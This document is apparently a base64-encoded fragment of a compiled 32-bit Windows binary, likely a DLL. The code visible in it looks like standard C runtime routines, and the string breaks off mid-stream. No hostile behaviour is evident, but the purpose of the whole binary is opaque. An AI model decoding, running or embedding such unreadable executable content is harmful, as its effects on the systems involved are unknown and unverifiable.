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AOV0gU1P/dRAPlcD/dQyNBMUBAAAAUP91GP/Wi/g7+w+EqwAAAH48gf/w//9/dzSNRD8IPQAEAAB3E+ihIwAAi8Q7w3QcxwDMzAAA6xFQ6Cf2//9ZO8N0CccA3d0AAIPACIvYhdt0aY0EP1BqAFPo3Z///4PEDFdT/3UQ/3UMagH/dRj/1oXAdBH/dRRQU/91CP8VLAEBEIlF+FPoyfr//4tF+FnrdTP2OV0cdQiLB4tAFIlFHDldGHUIiweLQASJRRj/dRzoDCEAAFmD+P91BDPA60c7RRh0HlNTjU0QUf91DFD/dRjoNCEAAIvwg8QYO/N03Il1DP91FP91EP91DP91CP91HP8VKAEBEIv4O/N0B1boqJ7//1mLx41l7F9eW4tN/DPN6CmW///Jw4v/VYvsg+wQ/3UIjU3w6DSY////dSSNTfD/dSD/dRz/dRj/dRT/dRD/dQzoFv7//4PEHIB9/AB0B4tN+INhcP3Jw4v/VYvsVot1CIX2D4SBAQAA/3YE6Die////dgjoMJ7///92DOgonv///3YQ6CCe////dhToGJ7///92GOgQnv///zboCZ7///92IOgBnv///3Yk6Pmd////dijo8Z3///92LOjpnf///3Yw6OGd////djTo2Z3///92HOjRnf///3Y46Mmd////djzowZ3//4PEQP92QOi2nf///3ZE6K6d////dkjopp3///92TOienf///3ZQ6Jad////dlTojp3///92WOiGnf///3Zc6H6d////dmDodp3///92ZOhunf///3Zo6Gad////dmzoXp3///92cOhWnf///3Z06E6d////dnjoRp3///92fOg+nf//g8RA/7aAAAAA6DCd////toQAAADoJZ3///+2iAAAAOganf///7aMAAAA6A+d////tpAAAADoBJ3///+2lAAAAOj5nP///7aYAAAA6O6c////tpwAAADo45z///+2oAAAAOjYnP///7akAAAA6M2c////tqgAAADowpz//4PELF5dw4v/VYvsVot1CIX2dDWLBjsFYFoBEHQHUOifnP//WYtGBDsFZFoBEHQHUOiNnP//WYt2CDs1aFoBEHQHVuh7nP//WV5dw4v/VYvsVot1CIX2dH6LRgw7BWxaARB0B1DoWZz//1mLRhA7BXBaARB0B1DoR5z//1mLRhQ7BXRaARB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AAFlmO4VA5f//D4VoAwAAg4U45f//AoO9IOX//wB0KWoNWFCJhUDl///oFhsAAFlmO4VA5f//D4U7AwAA/4U45f///4Uw5f//i0UQOYVE5f//D4L5/f//6ScDAACLDooT/4U45f//iFQPNIsOiUQPOOkOAwAAM8mLBgPH9kAEgA+EvwIAAIuFNOX//4mNQOX//4TbD4XKAAAAiYU85f//OU0QD4YgAwAA6waLtSjl//+LjTzl//+DpUTl//8AK4005f//jYVI5f//O00QczmLlTzl////hTzl//+KEkGA+gp1EP+FMOX//8YADUD/hUTl//+IEED/hUTl//+BvUTl////EwAAcsKL2I2FSOX//yvYagCNhSzl//9QU42FSOX//1CLBv80B/8VOAEBEIXAD4RCAgAAi4Us5f//AYU45f//O8MPjDoCAACLhTzl//8rhTTl//87RRAPgkz////pIAIAAImFROX//4D7Ag+F0QAAADlNEA+GTQIAAOsGi7Uo5f//i41E5f//g6U85f//ACuNNOX//42FSOX//ztNEHNGi5VE5f//g4VE5f//Ag+3EkFBZoP6CnUWg4Uw5f//AmoNW2aJGEBAg4U85f//AoOFPOX//wJmiRBAQIG9POX///4TAABytYvYjYVI5f//K9hqAI2FLOX//1BTjYVI5f//UIsG/zQH/xU4AQEQhcAPhGIBAACLhSzl//8BhTjl//87ww+MWgEAAIuFROX//yuFNOX//ztFEA+CP////+lAAQAAOU0QD4Z8AQAAi41E5f//g6U85f//ACuNNOX//2oCjYVI+f//XjtNEHM8i5VE5f//D7cSAbVE5f//A85mg/oKdQ5qDVtmiRgDxgG1POX//wG1POX//2aJEAPGgb085f//qAYAAHK/M/ZWVmhVDQAAjY3w6///UY2NSPn//yvBmSvC0fhQi8FQVmjp/QAA/xXcAAEQi9g73g+ElwAAAGoAjYUs5f//UIvDK8ZQjYQ18Ov//1CLhSjl//+LAP80B/8VOAEBEIXAdAwDtSzl//873n/L6wz/FRwAARCJhUDl//873n9ci4VE5f//K4U05f//iYU45f//O0UQD4IK////6z9qAI2NLOX//1H/dRD/tTTl////MP8VOAEBEIXAdBWLhSzl//+DpUDl//8AiYU45f//6wz/FRwAARCJhUDl//+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